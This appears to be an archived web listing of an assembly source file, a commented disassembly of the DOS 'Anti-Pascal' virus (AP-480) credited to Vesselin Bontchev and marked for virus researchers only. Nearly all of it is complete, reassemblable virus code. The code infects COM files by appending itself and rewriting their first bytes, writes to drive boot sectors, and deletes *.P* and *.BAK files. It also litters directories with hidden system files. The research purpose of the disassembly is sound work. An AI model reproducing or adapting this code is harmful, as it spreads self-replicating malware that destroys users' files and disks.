home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AP-480.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  7KB  |  316 lines

  1.     page    ,132
  2.     name    AP480
  3.     title    The 'Anti-Pascal' virus, version AP-480
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║               The 'Anti-Pascal' Virus, version AP-480               ║
  11. ; ║            Disassembled by Vesselin Bontchev, June 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. v_const =    2042d
  27.  
  28. start:
  29.     jmp    v_entry
  30.     db    0CA        ; Virus signature
  31.  
  32.     db    (2048d - 9) dup (90)
  33.  
  34.     mov    ax,4C00
  35.     int    21
  36.  
  37. v_start label    byte
  38. first4    db    0E9, 0F8, 7, 90
  39. allcom    db    '*.COM', 0
  40.  
  41. mydta    label    byte
  42. reserve db    15 dup (?)
  43. attrib    db    ?
  44. time    dw    ?
  45. date    dw    ?
  46. fsize    dd    ?
  47. namez    db    14d dup (?)
  48.  
  49. allp    db    0, '????????P??'
  50. allbak    db    0, '????????BAK'
  51. maxdrv    db    ?
  52.  
  53. v_entry:
  54.     push    ax        ; Save AX & DX
  55.     push    dx
  56.  
  57.     mov    ah,19        ; Get the default drive
  58.     int    21
  59.     push    ax        ; Save it on stack
  60.     mov    ah,0E        ; Set it as default (?!)
  61.     mov    dl,al
  62.     int    21        ; Do it
  63.  
  64.     call    self        ; Determine the virus' start address
  65. self:
  66.     pop    si
  67.     sub    si,offset self-v_const
  68.  
  69. ; Save the number of logical drives in the system:
  70.  
  71.     mov    byte ptr [si+offset maxdrv-v_const],al
  72.  
  73. ; Restore the first 4 bytes of the infected program:
  74.  
  75.     mov    ax,[si+offset first4-v_const]
  76.     mov    word ptr ds:[offset start],ax
  77.     mov    ax,[si+offset first4+2-v_const]
  78.     mov    word ptr ds:[offset start+2],ax
  79.  
  80.     mov    ah,1A        ; Set new DTA
  81.     lea    dx,[si+offset mydta-v_const]
  82.     int    21        ; Do it
  83.  
  84.     pop    ax        ; Restore current drive in AL
  85.     push    ax        ; Keep it on stack
  86.  
  87.     call    inf_drive    ; Proceed with the current drive
  88.  
  89.     xor    al,al        ; For all logical drives in the system
  90. drv_lp:
  91.     call    inf_drive    ; Proceed with drive
  92.     jbe    drv_lp        ; Loop until no more drives
  93.  
  94.     pop    ax        ; Restore the saved current drive
  95.     mov    ah,0E        ; Set it as current drive
  96.     mov    dl,al
  97.     int    21        ; Do it
  98.  
  99.     mov    dx,80        ; Restore original DTA
  100.     mov    ah,1A
  101.     int    21        ; Do it
  102.  
  103.     mov    si,offset start
  104.     pop    dx        ; Restore DX & AX
  105.     pop    ax
  106.     jmp    si        ; Run the original program
  107.  
  108. inf_drive:
  109.     push    ax        ; Save the selected drive number on stack
  110.     mov    ah,0E        ; Select that drive
  111.     mov    dl,al
  112.     int    21        ; Do ti
  113.     pop    ax        ; Restore AX
  114.  
  115.     push    ax        ; Save the registers used
  116.     push    bx
  117.     push    cx
  118.     push    si        ; Save SI
  119.  
  120.     mov    cx,1        ; Read the boot sector of the drive specified
  121.     xor    dx,dx
  122.     lea    bx,[si+offset v_end-v_const]
  123.     push    ax        ; Save AX
  124.     push    bx        ; Save BX, CX & DX also
  125.     push    cx
  126.     push    dx
  127.     int    25        ; Do read
  128.     pop    dx        ; Clear the stack
  129.     pop    dx        ; Restore saved DX, CX & BX
  130.     pop    cx
  131.     pop    bx
  132.     jc    bad_drv     ; Exit on error
  133.  
  134.     inc    byte ptr [bx]    ; Increment the first byte (?!)
  135.     cmp    byte ptr [bx+1],6F    ; Second byte == 111 (?!)
  136.     jne    wr_drive    ; Write the new values if not
  137.  
  138. bad_drv:
  139.     pop    ax        ; Restore AX
  140.     pop    si        ; Restore SI
  141. drv_xit:
  142.     pop    cx        ; Restore used registers
  143.     pop    bx
  144.     pop    ax
  145.  
  146.     inc    al        ; Go to next drive number
  147.     cmp    al,[si+offset maxdrv-v_const]    ; See if there are more drives
  148.     ret            ; Exit
  149.  
  150. wr_drive:
  151.     pop    ax        ; Restore drive number in AL
  152.     int    26        ; Do write
  153.     pop    ax        ; Clear the stack
  154.     pop    si        ; Restore Si
  155.     jc    drv_xit     ; Exit on error
  156.  
  157. ; Find first COM file on the current directory of the selected drive:
  158.  
  159.     mov    ah,4E
  160.     xor    cx,cx        ; Normal files only
  161.     lea    dx,[si+offset allcom-v_const]    ; File mask
  162. next:
  163.     int    21        ; Do find
  164.     jc    no_more     ; Quit search if no more such files
  165.     lea    dx,[si+offset namez-v_const]    ; Get file name found
  166.     call    infect        ; Infect that file
  167.     mov    ah,4F        ; Prepare for FindNext
  168.     jc    next        ; If infection not successful, go to next file
  169.     jmp    drv_xit     ; Otherwise quit
  170.  
  171. no_more:
  172.     lea    di,[si+offset v_end-v_const]
  173.     cmp    byte ptr [di],80
  174.     jb    drv_xit
  175.  
  176. ; Form the current directory path at v_end:
  177.  
  178.     mov    al,'\'          ; '\' for the root
  179.     stosb            ; Put that character
  180.     xchg    si,di        ; Save DI
  181.  
  182.     mov    ah,47        ; Get current directory
  183.     xor    dl,dl        ;  of the default drive and put it there too
  184.     int    21        ; Do it
  185.  
  186.     xchg    si,di        ; Restore DI
  187.     xor    al,al        ; Go to the end of paht (?!)
  188.     mov    cx,64d
  189.     repne    scasb        ; Do it
  190.     dec    di        ; Go to the previous byte
  191.  
  192.     mov    ah,13        ; Delete all *.P* files in that dir
  193.     lea    dx,[si+offset allp-v_const]
  194.     int    21        ; Do it
  195.     cmp    al,-1
  196.     je    drv_xit     ; Exit on error
  197.  
  198.     mov    ah,13        ; Delete all *.BAK files too
  199.     lea    dx,[si+offset allbak-v_const]
  200.     int    21        ; Do it
  201.  
  202.     mov    cx,20d        ; Create 20 temporary files (?!)
  203.     mov    ah,5A
  204.     lea    dx,[si+offset v_end-v_const]
  205.  
  206. creat_lp:
  207.     push    cx        ; Save registers used
  208.     push    ax
  209.     push    dx
  210.     mov    byte ptr [di],0
  211.     mov    cx,7        ; With ReadOnly, Hidden and System attributes
  212.     int    21        ; Do it
  213.  
  214.     pop    dx        ; Save used registers
  215.     pop    ax
  216.     pop    cx
  217.     loop    creat_lp    ; Loop until done
  218.  
  219.     jmp    drv_xit     ; Done. Exit
  220.  
  221. namaddr dw    ?        ; Address of the file name buffer
  222.  
  223. infect:
  224.     mov    [si+offset namaddr-v_const],dx    ; Save file name address
  225.  
  226.     mov    ax,4301     ; Reset all file attributes
  227.     xor    cx,cx
  228.     int    21        ; Do it
  229.     jnc    inf_cont    ; Continue if all OK
  230. inf_xit:
  231.     ret            ; Otherwise exit
  232.  
  233. inf_cont:
  234.     mov    ax,3D02     ; Open file for both reading and writing
  235.     int    21
  236.     jc    inf_xit     ; Exit on arror
  237.     mov    bx,ax        ; Save file handle in BX
  238.  
  239.     mov    cx,4        ; Read the first 4 bytes of the file
  240.     mov    ah,3F
  241.     lea    di,[si+offset first4-v_const]    ; Save them in first4
  242.     mov    dx,di
  243.     int    21        ; Do it
  244.     jc    quit        ; Exit on error
  245.  
  246.     cmp    byte ptr [di+3],0CA    ; File already infected?
  247.     stc            ; Set CF to indicate it
  248.     jz    quit        ; Don't touch this file if so
  249.  
  250.     mov    cx,[si+offset fsize-v_const]
  251.     cmp    cx,2048d    ; Check if file size >= 2048 bytes
  252.     jb    quit        ; Exit if not
  253.     cmp    cx,64000d    ; Check if file size <= 64000 bytes
  254.     stc            ; Set CF to indicate it
  255.     ja    quit        ; Exit if not
  256.  
  257.     xor    cx,cx        ; Seek to file end
  258.     xor    dx,dx
  259.     mov    ax,4202
  260.     int    21        ; Do it
  261.     push    ax        ; Save file size on stack
  262.     jc    quit        ; Exit on error
  263.  
  264. ; Write the virus body after the end of file:
  265.  
  266.     mov    cx,v_end-v_start
  267.     nop
  268.     lea    dx,[si+offset v_start-v_const]
  269.     mov    ah,40
  270.     int    21        ; Do it
  271.     jc    quit        ; Exit on error
  272.     pop    ax        ; Restore file size in AX
  273.  
  274. ; Form a new address for the first JMP instruction in AX:
  275.  
  276.     add    ax,v_entry-v_start-3
  277.     mov    byte ptr [di],0E9    ; JMP opcode
  278.     mov    [di+1],ax
  279.     mov    byte ptr [di+3],0CA    ; Set the "file infected" sign
  280.  
  281.     xor    cx,cx        ; Seek to file beginning
  282.     xor    dx,dx
  283.     mov    ax,4200
  284.     int    21        ; Do it
  285.     jc    quit        ; Exit on error
  286.  
  287.     mov    cx,4        ; Write the new first 4 bytes of the file
  288.     mov    dx,di
  289.     mov    ah,40
  290.     int    21        ; Do it
  291.  
  292. quit:
  293.     pushf            ; Save flags
  294.  
  295.     mov    ax,5701     ; Set file date & time
  296.     mov    cx,[si+offset time-v_const]    ; Get time from mydta
  297.     mov    dx,[si+offset date-v_const]    ; Get date from mydta
  298.     int    21        ; Do it
  299.  
  300.     mov    ah,3E        ; Close the file
  301.     int    21
  302.  
  303.     mov    ax,4301     ; Set file attributes
  304.     mov    cl,[si+offset attrib-v_const]    ; Get them from mydta
  305.     xor    ch,ch
  306.     mov    dx,[si+offset namaddr-v_const]    ; Point to file name
  307.     int    21        ; Do it
  308.  
  309.     popf            ; Restore flags
  310.     ret
  311.  
  312. v_end    equ    $
  313.  
  314. code    ends
  315.     end    start
  316.